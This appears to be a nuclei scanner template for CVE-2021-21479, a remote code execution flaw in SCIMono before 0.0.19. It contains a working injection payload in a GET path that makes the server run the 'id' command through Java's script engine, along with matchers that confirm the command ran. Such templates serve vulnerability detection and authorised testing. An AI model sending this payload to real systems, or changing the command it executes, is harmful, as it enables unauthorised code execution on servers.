nuclei-templates/cves/2021/CVE-2021-21479.yaml

37 lines
1.2 KiB
YAML
Raw Normal View History

2021-07-18 04:11:56 +00:00
id: CVE-2021-21479
info:
name: SCIMono <0.0.19 - Remote Code Execution
2021-07-18 04:11:56 +00:00
author: dwisiswant0
severity: critical
description: |
SCIMono before 0.0.19 is vulnerable to remote code execution because it is possible for an attacker to inject and
execute java expressions and compromise the availability and integrity of the system.
reference:
- https://securitylab.github.com/advisories/GHSL-2020-227-scimono-ssti/
- https://nvd.nist.gov/vuln/detail/CVE-2021-21479
- https://github.com/SAP/scimono/security/advisories/GHSA-29q4-gxjq-rx5c
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2021-21479
cwe-id: CWE-74
tags: cve,cve2021,scimono,rce
2021-07-18 04:11:56 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"id\")')%7D"
2021-07-18 17:24:34 +00:00
2021-07-18 04:11:56 +00:00
matchers:
- type: word
words:
- "The attribute value"
- "java.lang.UNIXProcess@"
- "has invalid value!"
2021-07-20 08:48:21 +00:00
- '"status" : "400"'
2021-07-18 04:11:56 +00:00
part: body
condition: and
# Enhanced by mp on 2022/05/05